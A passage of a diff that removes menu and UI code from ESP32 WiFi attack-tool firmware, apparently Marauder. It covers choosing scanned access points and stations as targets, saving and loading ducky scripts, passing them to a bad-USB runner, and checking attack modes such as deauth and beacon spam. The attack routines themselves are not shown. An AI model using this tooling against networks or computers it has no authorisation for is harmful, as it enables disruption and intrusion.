-      char buf[json[text08][i]["name"].as<String>().length() + 1] = {};
-      json[text08][i]["name"].as<String>().toCharArray(buf, json[text08][i]["name"].as<String>().length() + 1);
-      
-      list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
-      lv_btn_set_checkable(list_btn, false);
-      lv_obj_set_event_cb(list_btn, settings_list_cb);
-    }
-  }
-
-  // GFX Function to build a list showing all Stations scanned
-  void MenuFunctions::addStationGFX(){
-    extern LinkedList<Station>* stations;
-    extern LinkedList<AccessPoint>* access_points;
-    extern WiFiScan wifi_scan_obj;
-  
-    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
-    lv_obj_set_size(list1, 160, 200);
-    lv_obj_set_width(list1, LV_HOR_RES);
-    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
-  
-    lv_obj_t * list_btn;
-  
-    lv_obj_t * label;
-  
-    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
-    lv_obj_set_event_cb(list_btn, station_list_cb);
-
-    char addr[] = "00:00:00:00:00:00";
-    for (int x = 0; x < access_points->size(); x++) {
-      AccessPoint cur_ap = access_points->get(x);
-
-      // Add non clickable button for AP
-      String full_label = "AP: " + cur_ap.essid;
-      char buf[full_label.length() + 1] = {};
-      full_label.toCharArray(buf, full_label.length() + 1);
-      list_btn = lv_list_add_btn(list1, NULL, buf);
-      lv_btn_set_checkable(list_btn, false);
-      
-      int cur_ap_sta_len = access_points->get(x).stations->size();
-      for (int y = 0; y < cur_ap_sta_len; y++) {
-        Station cur_sta = stations->get(cur_ap.stations->get(y));
-        // Convert uint8_t MAC to char array
-        wifi_scan_obj.getMAC(addr, cur_sta.mac, 0);
-        
-        //char buf[stations->get(i).mac.length() + 1] = {};
-        //stations->get(i).mac.toCharArray(buf, stations->get(i).mac.length() + 1);
-        
-        list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, addr);
-        lv_btn_set_checkable(list_btn, true);
-        lv_obj_set_event_cb(list_btn, station_list_cb);
-    
-        if (cur_sta.selected)
-          lv_btn_toggle(list_btn);
-      }
-    }
-  }
-
-  // Function to work with list of Stations
-  void station_list_cb(lv_obj_t * btn, lv_event_t event) {
-    extern LinkedList<Station>* stations;
-    extern MenuFunctions menu_function_obj;
-    extern WiFiScan wifi_scan_obj;
-  
-    String btn_text = lv_list_get_btn_text(btn);
-    String display_string = "";
-    char addr[] = "00:00:00:00:00:00";
-    
-    if (event == LV_EVENT_CLICKED) {
-      if (btn_text != text09) {
-        //lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
-      }
-      else {
-        Serial.println("Exiting...");
-        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
-  
-        for (int i = 0; i < stations->size(); i++) {
-          if (stations->get(i).selected) {
-            wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
-            Serial.print("Selected: ");
-            Serial.println(addr);
-          }
-        }
-  
-        printf("LV_EVENT_CANCEL\n");
-        menu_function_obj.deinitLVGL();
-        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-        display_obj.exit_draw = true; // set everything back to normal
-      }
-    }
-    
-    if (event == LV_EVENT_VALUE_CHANGED) {     
-      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
-        //Serial.print("Toggle on: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < stations->size(); i++) {
-          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
-          if (strcmp(addr, btn_text.c_str()) == 0) {
-            Serial.print("Adding Station: ");
-            Serial.println(addr);
-            Station sta = stations->get(i);
-            sta.selected = true;
-            stations->set(i, sta);
-          }
-        }
-      }
-      else {
-        //Serial.print("Toggle off: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < stations->size(); i++) {
-          wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0); 
-          if (strcmp(addr, btn_text.c_str()) == 0) {
-            Serial.print("Removing Station: ");
-            Serial.println(addr);
-            Station sta = stations->get(i);
-            sta.selected = false;
-            stations->set(i, sta);
-          }
-        }
-      }
-    }
-  }
-  
-  // GFX Function to build a list showing all APs scanned
-  void MenuFunctions::addAPGFX(){
-    extern LinkedList<AccessPoint>* access_points;
-  
-    lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
-    lv_obj_set_size(list1, 160, 200);
-    lv_obj_set_width(list1, LV_HOR_RES);
-    lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
-  
-    lv_obj_t * list_btn;
-  
-    lv_obj_t * label;
-  
-    list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
-    lv_obj_set_event_cb(list_btn, ap_list_cb);
-  
-    for (int i = 0; i < access_points->size(); i++) {
-      char buf[access_points->get(i).essid.length() + 1] = {};
-      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
-      
-      list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
-      lv_btn_set_checkable(list_btn, true);
-      lv_obj_set_event_cb(list_btn, ap_list_cb);
-  
-      if (access_points->get(i).selected)
-        lv_btn_toggle(list_btn);
-    }
-  }
-  
-  
-  
-  void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
-    extern LinkedList<AccessPoint>* access_points;
-    extern MenuFunctions menu_function_obj;
-  
-    String btn_text = lv_list_get_btn_text(btn);
-    String display_string = "";
-    
-    if (event == LV_EVENT_CLICKED) {
-      if (btn_text != text09) {
-        //lv_list_focus_btn(lv_obj_get_parent(lv_obj_get_parent(btn)), btn);
-      }
-      else {
-        Serial.println("Exiting...");
-        lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
-  
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).selected) {
-            Serial.println("Selected: " + (String)access_points->get(i).essid);
-          }
-        }
-  
-        printf("LV_EVENT_CANCEL\n");
-        menu_function_obj.deinitLVGL();
-        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-        display_obj.exit_draw = true; // set everything back to normal
-      }
-    }
-    
-    if (event == LV_EVENT_VALUE_CHANGED) {      
-      if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
-        //Serial.print("Toggle on: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).essid == btn_text) {
-            Serial.println("Adding AP: " + (String)access_points->get(i).essid);
-            AccessPoint ap = access_points->get(i);
-            ap.selected = true;
-            access_points->set(i, ap);
-          }
-        }
-      }
-      else {
-        //Serial.print("Toggle off: ");
-        //Serial.println(btn_text);
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).essid == btn_text) {
-            Serial.println("Removing AP: " + (String)access_points->get(i).essid);
-            AccessPoint ap = access_points->get(i);
-            ap.selected = false;
-            access_points->set(i, ap);
-          }
-        }
-      }
-    }
-  }
-  
-  void MenuFunctions::addSSIDGFX(){
-    extern LinkedList<ssid>* ssids;
-    
-    String display_string = "";
-    // Create a keyboard and apply the styles
-    kb = lv_keyboard_create(lv_scr_act(), NULL);
-    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
-    lv_obj_set_event_cb(kb, add_ssid_keyboard_event_cb);
-  
-    // Create one text area
-    // Store all SSIDs
-    ta1 = lv_textarea_create(lv_scr_act(), NULL);
-    lv_textarea_set_one_line(ta1, false);
-    lv_obj_set_width(ta1, LV_HOR_RES);
-    lv_obj_set_height(ta1, (LV_VER_RES / 2) - 35);
-    lv_obj_set_pos(ta1, 5, 20);
-    lv_textarea_set_cursor_hidden(ta1, true);
-    lv_obj_align(ta1, NULL, LV_ALIGN_IN_TOP_MID, NULL, NULL);
-    lv_textarea_set_placeholder_text(ta1, text_table1[0]);
-  
-    // Create second text area
-    // Add SSIDs
-    ta2 = lv_textarea_create(lv_scr_act(), ta1);
-    lv_textarea_set_cursor_hidden(ta2, false);
-    lv_textarea_set_one_line(ta2, true);
-    lv_obj_align(ta2, NULL, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35);
-    lv_textarea_set_text(ta2, "");
-    lv_textarea_set_placeholder_text(ta2, text_table1[1]);
-  
-    // After generating text areas, add text to first text box
-    for (int i = 0; i < ssids->size(); i++)
-      display_string.concat((String)ssids->get(i).essid + "\n");
-      
-    lv_textarea_set_text(ta1, display_string.c_str());
-  
-    // Focus it on one of the text areas to start
-    lv_keyboard_set_textarea(kb, ta2);
-    lv_keyboard_set_cursor_manage(kb, true);
-    
-  }
-  
-  void MenuFunctions::joinWiFiGFX(){
-  
-    // Create one text area
-    ta1 = lv_textarea_create(lv_scr_act(), NULL);
-    lv_textarea_set_one_line(ta1, true);
-    lv_obj_set_width(ta1, LV_HOR_RES / 2 - 20);
-    lv_obj_set_pos(ta1, 5, 20);
-    //lv_ta_set_cursor_type(ta, LV_CURSOR_BLOCK);
-    lv_textarea_set_text(ta1, "");
-    lv_obj_set_event_cb(ta1, ta_event_cb);
-  
-    // Create first label
-    lv_obj_t * ssid_label = lv_label_create(lv_scr_act(), NULL);
-    lv_label_set_text(ssid_label, text_table1[2]);
-    lv_obj_align(ssid_label, ta1, LV_ALIGN_OUT_TOP_LEFT, 0, 0);
-  
-    // Create second text area
-    ta2 = lv_textarea_create(lv_scr_act(), ta1);
-    //lv_textarea_set_pwd_mode(ta2, true); // This shit makes it so backspace does not work
-    //lv_textarea_set_pwd_show_time(ta2, 1000);
-    lv_textarea_set_cursor_hidden(ta2, true);
-    lv_obj_align(ta2, NULL, LV_ALIGN_IN_TOP_RIGHT, -5, 20);
-  
-    // Create second label
-    lv_obj_t * pw_label = lv_label_create(lv_scr_act(), NULL);
-    lv_label_set_text(pw_label, text_table1[3]);
-    lv_obj_align(pw_label, ta2, LV_ALIGN_OUT_TOP_LEFT, 0, 0);
-  
-    // Create a keyboard and apply the styles
-    kb = lv_keyboard_create(lv_scr_act(), NULL);
-    lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
-    lv_obj_set_event_cb(kb, join_wifi_keyboard_event_cb);
-  
-    // Focus it on one of the text areas to start
-    lv_keyboard_set_textarea(kb, ta1);
-    lv_keyboard_set_cursor_manage(kb, true);
-    
-  }
-  
-  // Function to create keyboard for saving file name
-  void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event) {
-    extern MenuFunctions menu_function_obj;
-  
-    lv_keyboard_def_event_cb(save_as_kb, event);
-  
-    // User canceled so we will get rid of the keyboard and text box
-    if (event == LV_EVENT_CANCEL) {
-      lv_obj_del_async(save_as_kb);
-      lv_obj_del_async(save_name);
-    }
-  
-    // Save content from ta1 to file name in save_name
-    else if(event == LV_EVENT_APPLY){
-        String display_string = "";
-        printf("LV_EVENT_APPLY\n");
-  
-        // Get ducky script
-        String content = lv_textarea_get_text(ta1);
-  
-        String target_file_name = "/SCRIPTS/" + (String)lv_textarea_get_text(save_name);
-  
-        Serial.println("Writing to target file: " + (String)target_file_name);
-  
-        // Open file with the given name
-        File script = SD.open(target_file_name, FILE_WRITE);
-  
-        if (script) {
-          menu_function_obj.loaded_file = target_file_name;
-  
-          Serial.println("Writing content: ");
-          Serial.println(content);
-  
-          script.print(content);
-  
-          script.close();
-        }
-  
-        lv_obj_del_async(save_as_kb);
-        lv_obj_del_async(save_name);
-  
-        // Create Save button
-        lv_obj_t * save_label;
-        lv_obj_t * save_btn = lv_btn_create(lv_scr_act(), NULL);
-        lv_obj_set_event_cb(save_btn, load_btn_cb);
-        lv_obj_set_height(save_btn, 35);
-        lv_obj_set_width(save_btn, LV_HOR_RES / 3);
-        lv_obj_align(save_btn, ta1, LV_ALIGN_IN_TOP_LEFT, NULL, (LV_VER_RES / 2) - 35); // align to text area
-        save_label = lv_label_create(save_btn, NULL);
-        lv_label_set_text(save_label, text13);
-    }
-  }
-  
-  
-  void test_btn_cb(lv_obj_t * btn, lv_event_t event) {
-    extern MenuFunctions menu_function_obj;
-    
-    if (event == LV_EVENT_CLICKED) {
-      String btn_text = lv_list_get_btn_text(btn);
-      String display_string = "";
-      //printf("Clicked: %s\n", btn_text);
-      Serial.print("Clicked: ");
-      Serial.println(btn_text);
-  
-      // Get file content and send to text area
-      if (btn_text != text12) {
-        File script = SD.open(btn_text);
-  
-        if (script) {
-          while (script.available()) {
-            display_string.concat((char)script.read());
-          }
-          script.close();
-  
-          Serial.println(display_string);
-  
-          char buf[display_string.length() + 1] = {};
-          display_string.toCharArray(buf, display_string.length() + 1);
-          
-          lv_textarea_set_text(ta1, buf);
-  
-          // Create Save button
-          lv_obj_t * save_label;
-          lv_obj_t * save_btn = lv_btn_create(lv_scr_act(), NULL);
-          lv_obj_set_event_cb(save_btn, load_btn_cb);
-          lv_obj_set_height(save_btn, 35);
-          lv_obj_set_width(save_btn, LV_HOR_RES / 3);
-          lv_obj_align(save_btn, ta1, LV_ALIGN_IN_TOP_LEFT, NULL, (LV_VER_RES / 2) - 35); // align to text area
-          save_label = lv_label_create(save_btn, NULL);
-          lv_label_set_text(save_label, text13);
-        }
-      }
-  
-      // Delete the file list obj
-      lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
-      menu_function_obj.loaded_file = btn_text;
-    }
-  }
-  
-  void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
-    extern SDInterface sd_obj;
-    extern MenuFunctions menu_function_obj;
-  
-    String btn_text = lv_list_get_btn_text(load_btn);
-  
-    if (btn_text == "Load") {
-      if (event == LV_EVENT_CLICKED)
-        Serial.println("Load button pressed");
-      else if (event == LV_EVENT_RELEASED) {
-        Serial.println("Load button released");
-        /*Create a list*/
-        lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
-        lv_obj_set_size(list1, 160, 200);
-        lv_obj_set_width(list1, LV_HOR_RES);
-        lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
-        //lv_list_set_anim_time(list1, 0);
-    
-        // Load file names into buttons
-        File scripts = SD.open("/SCRIPTS");
-    
-        // Build list of files from the SD card
-        lv_obj_t * list_btn;
-  
-        list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text12);
-        lv_obj_set_event_cb(list_btn, test_btn_cb);
-    
-        while (true) {
-          File entity = scripts.openNextFile();
-    
-          if (!entity)
-            break;
-    
-          if (!entity.isDirectory()) {
-            String file_name = entity.name();
-    
-            // Fancy button text time
-            char buf[file_name.length() + 1] = {};
-            file_name.toCharArray(buf, file_name.length() + 1);
-            
-            list_btn = lv_list_add_btn(list1, LV_SYMBOL_FILE, buf);
-            lv_obj_set_event_cb(list_btn, test_btn_cb);
-          }
-    
-          entity.close();
-        }
-    
-        scripts.close();
-      }
-    }
-  
-    // Save current text bod content to new file
-    else if (btn_text == text06) {
-      if (event == LV_EVENT_CLICKED)
-        Serial.println("Save button pressed");
-      else if (event == LV_EVENT_RELEASED) {
-        Serial.println("Save button released");
-  
-        save_name = lv_textarea_create(lv_scr_act(), ta2);
-        lv_textarea_set_cursor_hidden(save_name, false);
-        lv_textarea_set_one_line(save_name, true);
-        lv_obj_align(save_name, NULL, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35);
-        lv_textarea_set_text(save_name, "");
-        lv_textarea_set_placeholder_text(save_name, "File Name");
-  
-        // Create a keyboard and apply the styles
-        save_as_kb = lv_keyboard_create(lv_scr_act(), NULL);
-        lv_obj_set_size(save_as_kb, LV_HOR_RES, LV_VER_RES / 2);
-        lv_obj_set_event_cb(save_as_kb, save_as_keyboard_event_cb);
-  
-        lv_keyboard_set_textarea(save_as_kb, save_name);
-        lv_keyboard_set_cursor_manage(save_as_kb, true);
-      }
-    }
-  
-    // Save current text box content to current loaded file
-    else if (btn_text == text13) {
-      if (event == LV_EVENT_CLICKED)
-        Serial.println("Save button pressed");
-      else if (event == LV_EVENT_RELEASED) {
-        Serial.println("Save button released");
-  
-        Serial.println("Writing to file: " + (String)menu_function_obj.loaded_file);
-  
-        File script = SD.open(menu_function_obj.loaded_file, FILE_WRITE);
-  
-        // Write data to file
-        if (script) {
-          String content = lv_textarea_get_text(ta1);
-  
-          Serial.println("Writing content:");
-          Serial.println(content);
-          Serial.println("to file: " + (String)menu_function_obj.loaded_file);
-          script.print(lv_textarea_get_text(ta1));
-          script.close();
-        }
-      }
-    }
-  }
-  
-  void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event) {
-    extern Display display_obj;
-    extern MenuFunctions menu_function_obj;
-    extern A32u4Interface a32u4_obj;
-    extern WiFiScan wifi_scan_obj;
-    
-    lv_keyboard_def_event_cb(kb, event);
-    if(event == LV_EVENT_APPLY){
-        String display_string = "";
-        printf("LV_EVENT_APPLY\n");
-  
-      String ta1_text = lv_textarea_get_text(ta1);
-    
-      Serial.println(ta1_text);
-    
-      a32u4_obj.runScript(ta1_text);
-    }
-    else if(event == LV_EVENT_CANCEL) {
-      printf("LV_EVENT_CANCEL\n");
-      menu_function_obj.deinitLVGL();
-      wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-      display_obj.exit_draw = true; // set everything back to normal
-    }
-  }
-  
-  // Keyboard callback dedicated to joining wifi
-  void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
-    extern Display display_obj;
-    extern MenuFunctions menu_function_obj;
-    extern WiFiScan wifi_scan_obj;
-    extern LinkedList<ssid>* ssids;
-    
-    lv_keyboard_def_event_cb(kb, event);
-  
-    // User has applied text box
-    if(event == LV_EVENT_APPLY){
-      String display_string = "";
-      printf("LV_EVENT_APPLY\n");
-  
-      // Get text from SSID text box
-      String ta2_text = lv_textarea_get_text(ta2);
-      //Serial.println(ta1_text);
-      Serial.println(ta2_text);
-  
-      // Add text box text to list of SSIDs
-      wifi_scan_obj.addSSID(ta2_text);
-  
-      // Update large text box with ssid
-      for (int i = 0; i < ssids->size(); i++)
-        display_string.concat((String)ssids->get(i).essid + "\n");
-      lv_textarea_set_text(ta1, display_string.c_str());
-  
-      lv_textarea_set_text(ta2, "");
-    }else if(event == LV_EVENT_CANCEL){
-      printf("LV_EVENT_CANCEL\n");
-      //lv_textarea_set_text(lv_keyboard_get_textarea(kb), "");
-      menu_function_obj.deinitLVGL();
-      //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-      display_obj.exit_draw = true; // set everything back to normal
-    }
-  }
-  
-  // Keyboard callback dedicated to joining wifi
-  void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
-    extern Display display_obj;
-    extern MenuFunctions menu_function_obj;
-    extern WiFiScan wifi_scan_obj;
-    lv_keyboard_def_event_cb(kb, event);
-    if(event == LV_EVENT_APPLY){
-      printf("LV_EVENT_APPLY\n");
-      //String ta1_text = lv_textarea_get_text(lv_keyboard_get_textarea(kb));
-      String ta1_text = lv_textarea_get_text(ta1);
-      String ta2_text = lv_textarea_get_text(ta2);
-      Serial.println(ta1_text);
-      Serial.println(ta2_text);
-      wifi_scan_obj.joinWiFi(ta1_text, ta2_text);
-    }else if(event == LV_EVENT_CANCEL){
-      printf("LV_EVENT_CANCEL\n");
-      //lv_textarea_set_text(lv_keyboard_get_textarea(kb), "");
-      menu_function_obj.deinitLVGL();
-      //wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-      display_obj.exit_draw = true; // set everything back to normal
-    }
-  }
-  
-  
-  void ta_event_cb(lv_obj_t * ta, lv_event_t event)
-  {
-    if(event == LV_EVENT_CLICKED) {
-      if(kb != NULL)
-        lv_keyboard_set_textarea(kb, ta);
-    }
-  
-    //else if(event == LV_EVENT_INSERT) {
-    //  const char * str = lv_event_get_data();
-    //  if(str[0] == '\n') {
-    //    printf("Ready\n");
-    //  }
-    //}
-  }
-
-#endif
-//// END LV_ARDUINO STUFF
-
-void MenuFunctions::buttonNotSelected(uint8_t b) {
-  display_obj.tft.setFreeFont(NULL);
-  display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
-}
-
-void MenuFunctions::buttonSelected(uint8_t b) {
-  display_obj.tft.setFreeFont(NULL);
-  display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
-}
-
-// Function to check menu input
-void MenuFunctions::main(uint32_t currentTime)
-{
-  // Some function exited and we need to go back to normal
-  if (display_obj.exit_draw) {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    display_obj.exit_draw = false;
-    this->orientDisplay();
-  }
-  if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
-      (wifi_scan_obj.currentScanMode == OTA_UPDATE) ||
-      (wifi_scan_obj.currentScanMode == ESP_UPDATE) ||
-      (wifi_scan_obj.currentScanMode == SHOW_INFO)) {
-    if (wifi_scan_obj.orient_display) {
-      this->orientDisplay();
-      wifi_scan_obj.orient_display = false;
-    }
-    #ifndef MARAUDER_MINI
-      if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
-          (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
-        display_obj.updateBanner(current_menu->name);
-    #endif
-  }
-
-  if (currentTime != 0) {
-    if (currentTime - initTime >= BANNER_TIME) {
-      this->initTime = millis();
-      if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
-          (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
-        this->updateStatusBar();
-        #ifdef MARAUDER_MINI
-          display_obj.updateBanner(current_menu->name);
-        #endif
-    }
-  }
-
-
-  boolean pressed = false;
-  // This is code from bodmer's keypad example
-  uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-
-  // Get the display buffer out of the way
-  if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
-      (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
-    display_obj.displayBuffer();
-
-
-  // Pressed will be set true is there is a valid touch on the screen
-  int pre_getTouch = millis();
-
-  // getTouch causes a 10ms delay which makes beacon spam less effective
-  #ifndef MARAUDER_MINI
-    pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  #endif
-
-
-  // This is if there are scans/attacks going on
-  #ifndef MARAUDER_MINI
-    if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
-        (pressed) &&
-        (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
-        (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
-        (wifi_scan_obj.currentScanMode != SHOW_INFO))
-    {
-      // Stop the current scan
-      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
-          (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
-          (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
-      {
-        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-  
-        // If we don't do this, the text and button coordinates will be off
-        display_obj.tft.init();
-  
-        // Take us back to the menu
-        changeMenu(current_menu);
-      }
-  
-      x = -1;
-      y = -1;
-  
-      return;
-    }
-  #endif
-
-  #ifdef MARAUDER_MINI
-
-    bool c_btn_press = c_btn.justPressed();
-    
-    if ((c_btn_press) &&
-        (wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
-        (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
-        (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
-        (wifi_scan_obj.currentScanMode != SHOW_INFO))
-    {
-      // Stop the current scan
-      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
-          (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
-          (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
-          (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
-      {
-        wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-  
-        // If we don't do this, the text and button coordinates will be off
-        display_obj.tft.init();
-  
-        // Take us back to the menu
-        changeMenu(current_menu);
-      }
-  
-      x = -1;
-      y = -1;
-  
-      return;
-    }
-
-  #endif
-
-
-  // Check if any key coordinate boxes contain the touch coordinates
-  // This is for when on a menu
-  #ifndef MARAUDER_MINI
-    if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
-        (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
-    {
-      // Need this to set all keys to false
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) {
-        if (pressed && display_obj.key[b].contains(t_x, t_y)) {
-          display_obj.key[b].press(true);  // tell the button it is pressed
-        } else {
-          display_obj.key[b].press(false);  // tell the button it is NOT pressed
-        }
-      }
-  
-      // Check if any key has changed state
-      for (uint8_t b = 0; b < current_menu->list->size(); b++) {
-        display_obj.tft.setFreeFont(MENU_FONT);
-        if (display_obj.key[b].justPressed()) {
-          display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
-          if (current_menu->list->get(b).name != text09)
-            display_obj.tft.drawXBitmap(0,
-                                        KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
-                                        menu_icons[current_menu->list->get(b).icon],
-                                        ICON_W,
-                                        ICON_H,
-                                        current_menu->list->get(b).color,
-                                        TFT_BLACK);
-        }
-  
-        // If button was just release, execute the button's function
-        if ((display_obj.key[b].justReleased()) && (!pressed))
-        {
-          display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
-          current_menu->list->get(b).callable();
-        }
-        // This
-        else if ((display_obj.key[b].justReleased()) && (pressed)) {
-          display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
-          if (current_menu->list->get(b).name != text09)
